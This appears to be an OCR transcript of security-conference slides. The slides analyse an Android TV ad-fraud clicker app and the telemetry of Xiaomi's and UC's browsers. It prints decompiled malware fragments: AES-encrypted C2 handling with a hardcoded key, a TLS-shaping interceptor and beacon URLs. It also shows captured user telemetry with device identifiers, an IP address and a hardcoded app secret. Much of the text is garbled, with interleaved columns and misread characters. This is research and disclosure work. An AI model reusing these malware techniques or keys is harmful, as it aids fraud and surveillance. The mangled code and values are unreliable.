Started as a simple clicker S . % :
Improved obfuscation as tfime went on E G Appl}cat}onchar.]gedRecelver.‘ .
Simple alarm based persistence mechanism “key": "com.bestMedia.anylight”, v G Appllcat 1onMonitorsSc hedullngRec eiver
Obfuscated C2 “datansrl : .
1 “configFregHour”: "1", ¢ (3 AppUrlReceiver
- "is_fg": "false", é ’
2§ toptop. sdk e foigmmedi & (@ FetchJsonArrayReciever
-Hj receivers : -
= $ . . L ( ¢ (9 GetConfReceiver
; # (@ StartServiceReceiver “3d": "newConfigl®, L @ StartInitrReceiver
=-f§ services ol g i
. @ RunTasks . j"‘: ¢ 235005, o - &g services
i - untasksService “delay”: "17, P :
: e "web_view_delay": "10", [ - Q C2217a
C2 endpoint for each app "frequency”: "500", o .
Work is pu||ed from C2 every 30 seconds "frequencyPerHour": "50", E G CllC kUr‘l sService
AES encryption for the payload EE G DailyUr‘lSer‘vice

+ (3 EventService

& (@ FetchJsonArrayService
AES encryption for the payload ]
- L #- (@ ForegroundGetService
String string = jSONObject.getString("data"); E@ Getconfser‘Vice
String string2 = jSONObject.has("cv") ? jSONObject.getString(“"cv") : "[B@3801a45999111"; : Z %
try { # (& InitService

Cipher instance = Cipher.getInstance("AES/CBC/PKCS5Padding");
instance.init (2, new SecretKeySpec("[B@3801245999111[B@3801a45999111".getBytes(), "AES"),
str = new String(instance.doFinal(Base64.decode(string, 0)));

GET /2/611689/analytics.gif?dt=6116891603216585581000&di=&ui=d82a2f01-3567-4868-b319-38220b8c12da&ap=com.xav.wnd&sr=&pp=_&si=70882025&dm=1920x1080&pi=&gt=US&de=p
Host s.update.zpfdsw.com

accept-encoding _deflate, gzip
user-agent Dalvik/2.1.0 (Linux; U; Android 8.0.0; PHILIPS 4K TV Build/OTT1.200310.002) CTV




CROWDSTRIKE

Pareto

SUMMARY:

Code
if (this.f282q.f0a.startsWith("TLS ECDHE_RSA")) {

} else if (this.f282q.f0a.startsWith("TLS ECDHE_ECDSA")) {
} else if (this.f282q.f0a.startsWith("TLS DHE_ ")) {

Leverages a custom built okhttp3 interceptor to shape SSL traffic
Ciphers controlled dynamically from the C2

NUBEWNHFOWODIAUES WNRFEOWmJ s WN -

"is_cypher":true,
=] "headers":{
"accept-encoding":"deflate, gzip",

r b,

"mode": "cipherControl",
=] "ciphers": [
"TLS_ECDHE_ECDSA WITH AES 128 GCM SHA256",
"TLS_ECDHE ECDSA WITH AES 256 GCM SHA384",
"TLS_ECDHE ECDSA WITH CHACHA20 POLY1305 SHA256",
"TLS_ECDHE RSA WITH AES 128 GCM SHA256",
"TLS_ECDHE RSA WITH AES 256 GCM_SHA384",
"TLS_ECDHE RSA WITH CHACHA20 POLY1305 SHA256",
"TLS ECDHE RSA WITH AES 128 CBC_SHA",
"TLS_ECDHE_RSA WITH AES 256 CBC_SHA",
"TLS_RSA WITH AES 128 GCM_SHA256",
"TLS _RSA WITH AES 256 GCM SHA384",
"TLS RSA WITH AES 128 CBC_SHA",
"TLS RSA WITH AES 256 CBC_SHA"

public Response intercept(Interceptor.Chain chain) throws IOException {

Request request = chain.request();

RealInterceptorChain realInterceptorChain = (RealInterceptorChain) chain;

Call call = reallnterceptorChain.call();

EventListener eventlListener = reallnterceptorChain.eventlListener();

StreamAllocation streamAllocation2 = new StreamAllocation(this.client.connectionPool(), createAddress(requ

this.streamAllocation = streamAllocation2;
Response response null;
int i = @;
while (!this.canceled) {
try {
Response proceed = reallnterceptorChain.proceed(request, streamAllocation2, null, null);
if (response != null) {
proceed = proceed.newBuilder().priorResponse (response.newBuilder().body(null).build()).build()
}
try |

Request followUpRequest = followUpRequest(proceed, streamAllocation2.route());
if (followUpRequest == null) {

streamAllocation2.release();

return proceed;

a2 3 : 2 WL

public C0093d0 mo2@la(AbstractC@219v.AbstractC0220a aVar) {

AbstractC0124c cVar;
int size;
C0128f fVar = (C0128f) aVar;
Co085a0 abVar = fVar.t488f;
AbstractCe09%h hVar = fVar.f489g;
Abstract(@210r rVar = fVar.f490h;
C0119g gVar = new (0119g(this.f498a.f1011s, mo251c(abVar.f306a), hVar, rVar, this.f500c);
this.f499b = gVvar;
if (this.f498a.f990F.equals("Pokud4@")) {
C02001 1Var = this.f498a.f1011s;
synchronized (1Var) {
size = 1lVar.f917d.size();

1
J

if (size > @) {
Socket socket = this.f498a.f1011s.f917d.getFirst().f425¢e;
try {
if (((CeP75f) socket).f268c.equals(adVar.f306a.f966d) && !socket.isClosed()) {
CPO70a aVar2 = ((0070a) socket.getInputStream();
if (aVar2.f228b.available() > @ &_& aVar2.f228b.read() == 21) {
byte[] f = C@083g.m191f("150303001AB1A37A58653AE9C3FB3AESF1C5E388877F7697AAA7FAF2071FA3");

"url":"https://s.srvsynd.com/2/748126/analytics.gif?dt=7481261613775644971000&ap=com.xumo.FailArmyé&
"user-agent":"Dalvik/2.1.0 (Linux; U; Android 8.0.0; PHILIPS 4K TV Build/OTT1.200310.002) CTV",

"user-agent":"Dalvik/2.1.0 (Linux; U; Android 8.0.0; PHILIPS 4K TV Build/OTT1.200310.002) CTV"
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Who?

- e e . e e ey

Xiaomi is a privately owned
electronics and software company
that focuses on

|

mobile devices and technology. : =
| Headquarter:
|
|

Haidian District,
Beijing, China

7’/
N e e e e e ows o= e

Founded Date: :
6 April, 2010 | ~---------e - .

UBER /)\airbnb @)

Xiaomi is currently the
worlds most valuable
startup worth more than
than Uber, Airbnb or
Pinterest.

disclosing annual sales
figures as CEO admits the
company grew too fast

W oan oo o oan oo oan an em

- - - - e - e e e e e e e e e e -y,

Lei Jun

Known as the Steve Jobs of China and
Xiaomi, the Apple of China.

Xiaomi beats Samsung
to top spot in India’s
smartphone market

e e e e e R W R R M W M G R R e R W e e e e e e e e e e e




XIAOMI PRODUCTS
Who? YOU NEVER KNEW EXISTED

___________________________________ =
;4
BATTERIES
and
Battery Packs Earphones
J ELECTRIC
Kettle
TV & Box
(soo0sa> e S
— ~\
€_P OF)
Wristband Cameras
o
Smart Bulb Bluetooth
Speakers

Bagpacks/
suitcase

Self Balancing
Scooter

wallet

Phone holder
for cars




Who?

30%

24%

18%

12%

6%

0%

e = T — —
S & S S S & &
& R g $ & & §
S 9]
< S g S S S Q L
O Samsung O Xiaomi O Oppo O Mobicel - Unknown
O Lenovo O Motorola O Apple O Huawei O Micromax

— Other (dotted)
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Why?

4000...

48MP Full scene Superior quality Qualcomm?® SnapdragonTM 4000mAh
quad camera guarantee 665 Octa-core processor high-capacity battery

cheap

powerful —

decent camera '

Supports 18W Corning® Gorilla® Glass 5 6.3"FHD Dot Super linear speaker

fast charge front and back Drop Display for better sound quality
solid display
277

[ Design Upgrade ]

2.5D glass enclosure in popular colors
what's the catch? Smaller chin and bezels

90% high screen-to-body ratio
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How?

brand new phone
rooted + custom cert

oh my that's a load of data

200
200
200
200
200
200
200
200
200
200
200
200
200
200
200
200
200
200
200

Method
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST

Host

data.
data.
data.
data.
data.
data.
data.
data.
data.
data.
data.
data.
data.
data.
data.
data.
data.
data.
data.

mistat.intl.xiaomi.com
mistat.intl.xiaomi.com
mistat.intl.xiaomi.com
mistat.intl.xiaomi.com
mistat.intl.xiaomi.com
mistat.intl.xiaomi.com
mistat.intl.xiaomi.com
mistat.intl.xiaomi.com
mistat.intl.xiaomi.com
mistat.intl.xiaomi.com
mistat.intl.xiaomi.com
mistat.intl.xiaomi.com
mistat.intl.xiaomi.com
mistat.intl.xiaomi.com
mistat.intl.xiaomi.com
mistat.intl.xiaomi.com
mistat.intl.xiaomi.com
mistat.intl.xiaomi.com
mistat.intl.xiaomi.com

Path

/mistats/v3
/realtime_network
/mistats/v3
/mistats/v3
/realtime_network
/mistats/v3
/[realtime_network
/realtime_network
/realtime_network
/getconfig
/[realtime_network
/getconfig
/mistats/v3
/getconfig
/mistats/v2
/realtime_network
/realtime_network
/mistats/v3
/[realtime_network

Start

09:53:40
10:02:56
10:45:55
10:50:40
10:56:25
11:06:01
11:11:27
11:26:28
11:41:30
11:45:54
11:56:32
12:00:24
12:00:41
12:10:51
12:10:57
12:11:33
12:15:54
12:16:38
12:26:34

Duration
743 ms
756 ms
813 ms
711 ms

1.76 s
747 ms

1.32s

1:72's
719 ms
387 ms
836 ms
364 ms
716 ms
750 ms
343 ms
728 ms
696 ms
543 ms
698 ms

Size

18.37 KB
18.37 KB
18.73 KB
19.06 KB
18.22 KB
18.00 KB
18.22 KB
17.96 KB
17.96 KB
825 bytes
17.95KB
825 bytes
19.60 KB
823 bytes

1.58 KB
17.96 KB
18.04 KB

2.33KB
17.95KB

Status

Complete
Complete
Complete
Complete
Complete
Complete
Complete
Complete
Complete
Complete
Complete
Complete
Complete
Complete
Complete
Complete
Complete
Complete
Complete
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How?

13:23 all = @ #
@ en.greatfire.org O Yy =

[1)7 33574

We monitor and
challenge internet
censorship in China

%“ GreatFire.org English Version

Structure Sequence

Code Method  Host Path Start Duration  Size Status  Info
CEmEE Jstproject=giobal browsertu=G8 | 132341 o compl ] ]
z POST sa.api.intl.miui.com /sa’prOJect global browser8r=GB 13:24:24 1245 18.48 KB Cornpl
Filter: :sa? [] Focused Setfihg;

Overview Contents Summary Chart Notes

Name  Value

cre -1096738491

gzip 1
H4sIAAAAAAAAAO2dbW/bOBKA/8rCKfopdkRKpEgDQdHcbYPetd3isrgrcDkItETbRPRiI6CVUEOS/31CykShSUqfremD8DRrbICiRwSIHwyES+ e91LyhzFV4E...
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Name Value
CrC 1 648940987 r::.appenauueryraramerer( r.lU, rii) V& & Laan-'t 1UEXCepL'lOI1 i UXU.L&:!, dLL —> vXxviao )

L_0x008a:
java.lang.String rio = “gzip"

H 1 java.lang.String ril = "1"
gZ|p r5.appendQueryParameter(rl0, ril) // Catch:{ IOException —> 0x0la9, all —> 0x0la6 }
java.lang.String r10 = "data_list"
® r5.appendQueryParameter(rlo, r2) // Catch:{ IOException —> 0x01a9, all —> 0x0la6 }
data llst H4SIAAAAAAAAA02de4/bNhLAv0r android.net.Uri r5 = r5.build() // Catch:{ IOException -> 0x@la9, all -> 0x0la6 }
— java.lang.String r5 = r5.getEncodedQuery() // Catch:{ IOException —> 0x01a9, all —> 0x0la6 }
boolean r10 = android.text.TextUtils.isEmpty(r5) // Catch:{ IOException —> 0x0la9, all —> 0x0la6 }

if (rl10 == 0) goto L_0x00a8
rl.closeStream(r4, r4, r4, r6)
return



How?

recurinmn
L_0x0093:

r2 = r5[rij
r5 = r5[ro]
r6 = 25 privgte Stri:gzencog$2a;a(5tring str) throws IOException {

- tring str2 = “UTF-8";

y : = ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(str.getBytes(str2).length);
]ava' lang'Strlng r7 = rl@' enCOdeData(rs) / G%IPOutpzt;tr:am gZIrlgOutputStream = new GZIPOutputS)t(rzanrl(b;tzArl:ayOU(tzpztStream);
android.content.Context r8 - rl@.mcontext gZIPOutputStream.write(str.getBytes(str2));

: g ! gZIPOutputStream.close();
com.sensorsdata.analytics.android.sdk.SensorsD byte[] byteArray = byteArrayOutputStream. toByteArray();

3 2 byteArrayOutputStream.close();
java.lang.String r8 = r8.getServerUrl() // return new String(Base64Coder.encode (byteArray));

}
ri0.sendHttpRequest(r8, r7, r5, rl) // Cat

android.content.Context r5 = rl@.mContext
com.sensorsdata.analytics.android.sdk.SensorsD
boolean r5 = r5.isDebugMode()



"event" : "page_load_event_start”,

4:’ "S$1ib" - "Android" .
what*= R i

"$1lib_version"-"3.2.19"
"Smodel" - "Redmi Note 8",
"Sos" - "Android"

"Sscreen_width" 1080,

ViSiTed URL "Sscreen_height" 2340
"Smanufacturer" - "Xiaomi”,

r]EET\A/C)rl( TX/F)EE "Sapp_version":"11.9.3-g",
“internet_status” 1,

device info "wuid" - "27f133c4-3ead-4e58-a60c-b1a169592bF8"
"platform” : "AndroidApp”,

LJl.j|[) (rT\C)rEE|(]TE5r) "miui_version":"V11.08.3.0_.PCOMIXM",

“miui_region"  "GB",

"eld" - "News- :video-:search@:headiconoff:channel_en_youtube-web”,
"apk_name" : "com.android.browser”,

“browser_install_referrer” : "com.android.browser”,
"log_miaccount” -1,

"gaid" : "20c20352-a3fd-4418-acfe-a1752851b23d",

"Swifi" -true,

"Snetwork_type" - "WIFI"

"event_network" - "wif1i”

but wait, there's more

"url”:"https:\/\/en.greatfire.org\/",
"Sis_first_day" -false

}
" _flush_time" :15879908229911



CROWDSTRIKE il o
‘ "adblock_show_notification" 9,

What?

“adblock_switch" -9,
“language_browser"”  "EN"
"user_desktop_mode" : 9,
P4|LJ|iCj”! "user_night_mode" 9,
"user_click_interest"” 9,
“language” - "EN"
“user_newsfeed" 1,
“language_news" - "EN"
"user_download_videos" : 1,
"user_youtube_signin" :9,
"account_id" :"6316280058"
"dark_mode" : 9
"user_push_agree” ' 1,
“user_facebook_notification"” -4,

INCOGNITO MODE "user_data_save_mode" -9

"minus_screen" " "
"region” :"GB",
"user_checkbox_4G" -1

b
" _flush_time" : 1587991388805



What?

" track id": 1164757523,
"time": 1588500999087,

MIUId “type”: “"track ,
UUID (‘'member it?) "distinct_id": "6316280058",
"1lib": {
"$1ib": "Android",
*Slib version': "3.2.10",
you cannot create a MIUI sapp_version”: "11.9.3-g",

"$1lib method": "code",
"$1lib detail"”: "com.sensorsdata.

}

"event": "page load event start”,

id without your phone
number/email/social
media account




Just browsing
some random
history facts




but wait, there's more



What?

"event" : "newsfeed_[SIETaY"

13:59 all R @D 4 ‘roperties’ (8

"$1ib" - "Android
"Scarrier” : "Vodafone"
"Sos_version" :"9"

E News N "$1ib_version":"3.2.10-pre"
"Smodel” - "Redmi Note 8"
"$os" - "Android"

- "$screen_width" - 1080
"$screen_height" 2340,
"Smanufacturer” - "Xiaomi"
"$app_version":"12.1.1"
"Swifi" true
"Snetwork_type" - "WIFI"

"content_title":"UK 'hypocritical', says UN expert"
"content_type" : "news”

UK 'hypocritical’, says UN expert

"pattern” :"1"
1 o ":"The G dian”
O The Guardian "zggTaTSK” e Guardian

"doc_id" : "cms-amp-BB13epCo”
"$is_first_day" :false

}
'Focus don't hocus': Elba denies _‘ "_flush_time" :1587992173737



What?

10:25AM B CEEW ..0000s Z | 4G VOLTE 4

= My music
@ Recently played

O Favorites

d: My playlists

. Shuffle playback

BRES Animals (live in Manchester 2015)
4%k

ﬁ Arena Fight
E Asgard Is a People

BRED Best4u
43R




What?

"event": "$AppClick",
"properties”: {
"$lib": "Android",
"$os_version": "9",
"$1lib version": "3.2.4",
"$model": "Redmi Note 8",
"Sos": "Android",
"$screen_width": 1080,
"$screen height": 2340,
"Smanufacturer”: "Xiaomi",
"$app version": "4.11.11i",
"Swifi": true,
"$network type": "WIFI",
"$is first day": false,
"$screen name"”": "com.miui.player.ui.MusicBrowserActivity",
"$title": "Music”,
"$element content": "HongKongl | OFFICIAL MV | Nguy&n Trong Tai x San Ji x Double X-U
"$element type": "com.miui.player.display.view.cell.LocalSongListItem"

}
" flush time": 1588613193059




What?

download firmware
brotli extractor
Sd d 1-2 | M g Mi 10 Youth 5G Mi 10 Lite 5G Redii F20 Pig Redmi K30 Pro

Zoom

pull APKs/VDEX from system.img

277

Mi 10 Pro 5G

¥

prophit

Mi 10 5G Redmi 8A Pro Redmi 8A Dual Poco X2 Redmi K30



xclusive: Warning Over
Aﬁ'erd'l'h Chinese Mobile Giant Xiaomi

» \/ & Br-Yata <
O Ej https:/ heap-f 1 ® Y IIn & i‘ - L's.f

1] AUTHORITY The best Reviews Apps & games Buyer's guides Pho ns News More Q Best daily deals W™

et up toa $200 gift card! >

Is selling your privacy for a cheaper phone really a good idea?

Xiaomi has addressed its recent privacy controversies — here's what's changed.

(I £ I

ke \

TR
Dhruv Bhutani / Android Authority |

S




CROWDSTRIKE

Updated at 16:59, May 3, GMT+8, in Beijing

—START— ' , ’

Given our goal of providing world class secure services and products to all users, our next Mint Browser and Mi Browser software update will include an option in

incognito mode for all users of both browsers to switch on/off the aggregated data collection, in an effort to further strengthen the control we grant users over sharing
their own data with Xiaomi. The software updates will be submitted to Google Play for approval within today (May 3, GMT+8).

We believe this functionality, in combination with our approach of maintaining aggregated data in non-identifiable form, goes beyond any legal requirements and
demonstrates our company’s commitment to user privacy.

As always, Xiaomi welcomes users to participate in our product development and advancement. Listening to feedback from users and letting them take part in
Xiaomi's future have been at the core of our company from the beginning.

“ we wowN! >:)

ISO 27018 is an internationfﬁ;f cbm focu@rsowa ch on cloﬁ@ c‘rtiﬁiat*ates t.hat Xiaomi Cloud has a complete system for
L J L ]

the protection of personal data’

N
N



Afterath

Enhanced Incognito mode

Improve your user experience by uploading aggregated (>
data stats when Incognito mode is on

Enhanced Incognito mode

Aggregated data stats won't be uploaded when
Incognito mode is on



Who?

R statcounter

GlobalStats

Chrome Safari

Samsung Internet

63.17%  24.43%  6.04%

UC Browser Opera Android

227%  1.97%  0.49%

Mobile Browser Market Share - April 2021

Browse privately and safely.




What?

IO0S

404 Not Found

Not Found

The requested URL was not found on this server

€/2.4.18 (Ubuntu) Server at hux.site Port 80

<

" aunch Cloud Tabs

+

)

404 Not Found

Not Found
The requested URL was not found on this server.

Apache/2.4.18 (Ubuntu) Server at hux.site Port 80

Exit Incognito Mode

Exit Incognito Mode. All tabs will be
closed under Incognito Mode

Cancel Quit

@ Launch Cloud Tabs

I S




What?

I0S

Structure

Host Path Start Duration Size S Info
B 200 ... gjapplog.uc.cn /collect?app=4e2aa65da232&uuid=... 12:28:57 754 ms 17.72 KB 5
200 PO... gjapplog.uc.cn /collect?app=4e2aa65da232&uuid=... 12:30:15 618 ms 1777 KBE¥Cor=
200 PO... gjapplog.uc.cn /collect?app=4e2aa65da232&uuid=... 12:34:19 588 ms 17.51 KB Co...
E3 200 PO... gjapplog.uc.cn [collect?app=4e2aa65da232&uuid=... 12:34:45 286 ms 890 bytes Fai...
~ 200 PO... gjapplog.uc.cn [collect?app=4e2aa65da232&uuid=... 12:34:59 633 ms 17.52 KB Co...
200 PO... gjapplog.uc.cn /collect?app=4e2aa65da232&uuid=... 12:37:02 614 ms 17.55KB Co...
200 PO... gjapplog.uc.cn /collect?app=4e2aa65da232&uuid=... 12:38:55 633 ms 17.97 KB Co...
Filter: colle Focused Settings

Overview Summary Chart Notes

00000000 1f 8b 08 00 00 00 00 00 00 13 cd 55 4b 92 d3 30 UK @
00000010 10 dd cf 55 98 a4 6¢ c7 4e 9c 85 16 @c 9f a9 9a U UN
00000020 45 80 a2 a8 81 95 5b 96 3a 89 18 5b d2 48 b2 43 E [: [HC
00000030 b8 02 47 €0 14 1c 80 e3 50 c5 31 68 27 19 e2 al G P 1h'
00000040 c2 64 52 6¢c @ c2 d6 e7 f5 eb a7 6e 75 bb @a ac dR1 nu
00000050 11 60 7c dl a2 63 71 3a 4c 87 31 d4 5c bo 68 f7 | cq:L 1\ h
00000060 Oc Qe bc ee 1le 58 29 19 96 6¢ 34 c9 a® el 4c bhd X) 14 L
00000070 5e l1la 8d 71 7c 9e 43 65 16 4a b3 d9 2b 90 d8 2a ~ q] CeJ +
00000080 81 fd 2d bf f6 01 eb a2 e2 7a cl1 50 17 97 17 50 - z P P
NAAAAMAQNA Ah ~1 OY R1 Aa A& A0 fFA aa AQ QK 22 27h QFf MAa - n T eI

Headers Query String Text Hex Form Raw

1 retcode=0'retmsg=succ



CROWDSTRIKE

What?

I0S

Download CyberChef ¥

Operations
Search...
Favourites

To Base64
From Base64
To Hex

From Hex

To Hexdump
From Hexdump
URL Decode
Regular expression
Entropy

Fork

*

Recipe
From Hexdump

Gunzip

Last build: 2 months ago

O

Auto Bake

Options && About / Support @

length: 4697 + D E i =

InPUt lines: 62

00000000 1f 8b 08 00 00 00 00 00 00 13 d5 56 5d 6e e3 36
Vin 6

00000010 10 7e df 53 e4 bd b5 43 ea c7 96 0d cc 43 d3 76
~ S C Cv

00000020 17 d8 87 b4 45 51 a4 7d d2 50 14 6d 31 2b 91 8a
EQ } P ml+

00000030 48 ca eb 5e al 47 e8 29 7a 80 le a7 40 8f dl1 al
H ~G)z @

00000040 6¢C 23 46 9d 22 9b 45 b7 40 f5 20 89 9a el cc 37
W#F " E@ 7

00000050 7f 9f d8 7a 08 12 ad 2b 47 35 00 cf e6 d9 9c 63

start: 804 time: O9ms

end: 842 length: 2652 I i
OUtPUt length: 38 lines: 27 a D m b
ernational

lt=st’ ct=monitor’ lrs=542

lt=st’ ct=monitor’ 1ci=0.797734

lt=pv' ct=normal’ fri=web source=1"vc=1

lt=ev' ct=normal’ times=4" function=multiwin  day=1"type=new ev_
na=newuser_path

lt=ev' ct=eagle_eye su=0 osp_t1=208" rp=1"url=https://hux.site
/this_is_an_unique_url host=hux.site pvid=d545d430b25c6e80de
1c9a827226¢984_1620905409  osp_t3=208" qt=2021-05-13

19:37:13 ' nt=wifi ap=wifi'wt=0"ourl=http://hux.site/this_is_a
n_unique_url osp_t0=208" ph=646"sid=d545d430b25c6e80delc9a827




CROWDSTRIKE

thf ? C l0000@30 f9 32 41 8a 96 57 77 9f 65 96 f9 8a 7c 40 7e 26
u time: 15ms

length: 9435 I L
m Output ﬂges 74 a D m
I lt=uc os_ver=11.3 mac=00000000-0000-0000—-0000—

000000000000 width=414" ua=iPhone8,2" login=N0"device=iPhone8,2 system_lang=en_US mcc="prd=UCBrowser  bmo
de=WwWW' lang=en-

us pfid=44"bid=355"ram=1680" cp_param_prov="rom=61025" cp_param_cc=GB" system_area=US" height=736"cp_param
_na=%[EF sid_flds=sid" lac=0"cid=0"os=iPhone8,2_11.3 ch="sn=2105-34082192112-

df68fle7 utdid=YJ1Gj9nc@TYDAELATjnKH+qo subver=appl cp_param_isp="usd=3"aid=Actb6iYfpl9n9FoewyM4+g=="c
p_param_ac="btype=GJ]  cp_param_city="gender=null mmc="1imei=00000000-0000-0000—-0000—

000000000000 bseq=19060622 boundid=com.uc.iphone.browser.international

lt=st ct=monitor’ lts=1

1t=st ct=monitor” los=469" loc=-1001

lt=ev' ct=cards_flow" is_visiable_card_id=745, ev_na=cards_manage’ card_index=1

lt=ev' ct=normal’ ev_na=user_type actday=1

Tt=ev' rt=narmal’ev na=inicer tvne'ctiinaan=1

start: 2959 time: 15ms

end: 2959  length: 9435 M M L
OUtPUt length: 0 lines: 74 a D

Lt=ev ct=eagle_eye su=0 osp_t1=674 rp=1 url=https://www.google.com/search?

gq=sarasota%s20herald host=www.google.com pvid=fd309fd9e7fd4639f13abd450cb9037c_1620829143 osp_t3=701 gt
=2021-05-12 22:19:48 nt=wifi wt=0 ap=wifi cc=270,240 ourl=https://www.google.com/search?
q=sarasota%20herald osp_t0=674 ph=628" sid=fd309fd9e7fd4639f13abd450cb9037c 1m=05/12/2021

10:19:03 pm_news=0" tp=44555"at=2021-05-12 22:19:02 am=1 ae=3 sd=0

lt=pv ct=normal cac=716 ev_na=http_cache ¢c=9 hc=7" ci=6" t1=7 ¢cjs=159 cj=3" f=3"cos=1" jhs=665 ccs=98 cc=2
"chs=302"1=16"j=22 cfs=181" cf=2"ihs=65"hi=6 co=1" cis=11" sub_ev=cache_hit 0=1"hj=11"t0=29




What?

Android

0208 @ ® ¥ X 106G %7 = 100% 4

Incognito mode on

Your browsing history and search history won't be recorded, files
downloaded and bookmarks will be kept.

%) Winnie the Pooh
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What?
Android

Structure Seguence
Code M.. Host
=~ 200 PO.. gjtrackucweb.co..
= 200 PO.. gjtrackucweb.co..
= 200 PO.. adn.insightucwe...
=~ 200  GET la4-userver-upaa..
200 PO.. adn.insight.ucwe...
200 GET la4-userver-upaa...
200 PO.. la4-userver-upaa...
200 PO... la4-userver-upaa...
~ 200 GET la4-userver-upaa..
200 PO.. la4-userver-upaa...
@ 200 PO... px-intl.ucweb.com
= 200 PO.. gjapplog.ucweb...
= 200 PO.. gjapplog.ucweb...
= 200 PO.. gjapplog.ucweb...
200 GET la4-userver-upaa...
= 200  GET la4-userver-upaa..
200 PO... la4-userver-upaa...
Filter: ucweb

Path

/collect?uc_param_str=frcpvednsvpf&lt=event&appid=4e54ac8a118f&e_c=pfsjs&pg=i..
/collect?uc_param_str=frcpvednsvpf&lt=event&appid=4e54ac8a118f&e_c=pfsjs&pg=i..
/adsserver/ad_request
/login?version=2&appkey=uc_browser_intl&ds=AAC+BVUdNHWie2yxtcOvLT +n&dsTy...
/adsserver/ad_request

/message_push?seq=0&sid=2647139610&pid=2343805865

/business
/business
/detect/2
/receipt/detect

/api/v1/raw/upload
/collect?uc_param_str=frpfvepcbtbmbilasvchmi&fr=android&pf=145&ve=13.4.0.1306&..
/collect?chk=970c8c4b&vno=1622648452003_2_4656&enc=wsg&zip=gzip&uuid=34026
/collect?uc_param_str=frpfvepcbtbmbilasvchmi&fr=android&pf=218&ve=12.12.9.1226...
/message_push?seq=0&sid=2647139610&pid=2343805865

/detect/4
/receipt/detect

JrmlMlardNiim cmmememn rde Fremfiimmcrlhtbh im0 fr mnAdeniAdOmfd 1ACO A 1D ANAINLO.

Start

18:40:10
18:40:10
18:40:11
18:40:11
18:40:11
18:40:11
18:40:11
18:40:11
18:40:11
18:40:11
18:40:11
18:40:21
18:41:15
18:42:10
18:43:42
18:43:42
18:43:42

10.AC.1C

Duration

1345
1345
434 ms
592 ms
302 ms
3m31s
147 ms
147 ms
2ms
142 ms
815 ms
625 ms
619 ms
593 ms
5mo0s
Tms
143 ms

1aN7 -~

Size

17.75 KB
17.77 KB
299 KB
17.42 KB
3.11KB
120 bytes
409 bytes
439 bytes
145 bytes
119 bytes
18.16 KB
18.37 KB
18.04 KB
18.01 KB
83 bytes
125 bytes
103 bytes

AN AC VD

Sta...

Co...
Co...
Co...
Co...
Co...
Co...
Co...
Co...
Co...
Co...
Co...
Co...
Co...
Co..
Co...
Co...
Co..

-~

[] Focused

Info

Settings




What?

Android

Structure Sequence

Code .. Host Path Start Duration Size S.. Info
= 200 P.. gjapplog.u... /collect?enc=aes&zip=gzip&pf=android&pn=com.UCMo... 20:08:24 147 ms 1.11 KB C..

Dm gjtrack.uc... | /collect?uc_param_str=frcpvednsvpf&lt=event&appid=4e... 20:08:32 1.21 KB -

200 P.. gjtrackuc.. /collect?uc_param_str=frcpvednsvpf&it=event&appid=4e.. 20:08:32 1.05s 123 KB C..
= 200 P.. gjapplog.u... /collect?chk=3845630f&vno=1622480894879_32_7205&en. 20:08:42 149 ms 1.17KB C..

Filter: |collect [] Focused Settings

Overview Contents Suymmary Chart Notes

Name Value
e pfsjs A
pg inject
jsver 4.0.0
domain www.winnie-pooh.org
ea runls
& 1622480884843 <

Headers Query String Text Hex Raw

Headers Text Hex JSON JSON Text Raw



What?

Android

Fire up AES interceptor
https:/11x256.github.io/Frida-hooking-android-part-5/
Got the text, time to find the key

{“w_tm™”1621365464","w_bid”:"u4_default”,”w_url”:"http:\/
\/www.winnie-pooh.org\/pooh-
stories.htm","ps":"com.UCMobile.intl","pid":"22318","stime":"162334542065
1", "type":"pvuv","fr":"android", "mec":"denied", "pkg":"com.UCMobile.intl", "vcod
e":"50186","dsp_w":"1080","rom":"10","dsp_d":"300","wid":"76b24e88-
aldd-4256-

a4dc-1c99be62ff74","tmem":"7659", "sdkver":"1.0.0.8", "ctime":"162136546
4" "model":"RMX1971","lang":"en","dsp_dpi":"480", "net":"wifi","brand":"realm
e","dsp_h":"2132","ver":"13.4.0.1306","product”:"UCMobile","mnc":"denied","i
p":"185.226.144.94","bsver":"inapppatch64","bver":"13.4.0.1306", "bserial":"
210428170421","appid":"UCMobilelntl","amem":"3424","sdk":"29", "tzone":"A
sta\/Jayapura","crver":"4.1.1.0","crserial":"210426141251"}



https://11x256.github.io/Frida-hooking-android-part-5/

CROWDSTRIKE

What?
Android




case 35:

CROWDSTRIKE byte[] bArr9 = (byte[]) objArr[e];

int intValue ((Integer) objArr[1]).intValue();

boolean booleanValue2 = ((Boolean) objArr[2]).booleanValue();
W q if (bArr9 == null || bArr9.length <= 8) {
|

return new Object[]{bArr9};

n ¥
And rOId if (!booleanValue2) {
return new Object[]{bArr9};

1
J

if (intValue == 2) {
try {

if (1f12607bE) {
if (f12553aD == null) {

throw new AssertionError();

1,
¥
bArrg = f12553aD.doFina1(bAprqz;
} catch (Throwable th10) {
log(null, null, "invoke", "DO_DECODE Err:", thil@);
m48526a( "wpk_ex_aesd", "msg", thl@.getMessage());
throw thl0;

¥
} else if (intValue == 3) {
try {
ConcurrentlLinkedQueue concurrentlLinkedQueue2 = (ConcurrentlLinkedQueue) C26931a.f12660c.get(3);
if (concurrentlLinkedQueue2 == null || concurrentlLinkedQueue2.isEmpty()) {

o

throw new RuntimeException("decoder_not_set");
¥
bArr9 = (byte[]) m48532a(1l, 3, bArr9)[0];
if (bArr9 == null || bArr9.length <= 8) {
throw new RuntimeException("decode_ret_nothing");
}
} catch (Throwable th11) {
log(null, null, "invoke", "DO_DECODE Err:", thill);
m48526a( "wpk_ex wsgd", "msg", thll.getMessage());
throw thill;
h
¥

return new Obiectl[ 1{bArr9}-



What?

Android

/* renamed from: com.uc.browser.w.n */
/* compiled from: ProGuard */
24 public final class C19072n {
public static String appld = "UCMobileIntl";
24 public static String djZ = "QcBelt#jvn9%eadf";
25 public static void bRg() {
26 if (!1C2483a.m2680WP()) {
2% HashMap hashMap = new HashMap();
28 hashMap.put("appSecret", djZ);
388 hashMap.put("bsver", "inapppatch64");
379 hashMap.put ("bver", "13.4.0.1306");
3% hashMap.put (ProductEVInfo.KEY_PRODUCT, "UCMobile™);
a9z hashMap.put("bserial™, "210428170421");
49 hashMap.put (WPKFactory.INIT_KEY_APP_ID, appld);
425 hashMap.put("ud", C13383f.aJK());
10641 hashMap.put("vcode", Integer.toString(50186));
a5 C2483a.m2681e(C20295f.sAppContext, hashMap);
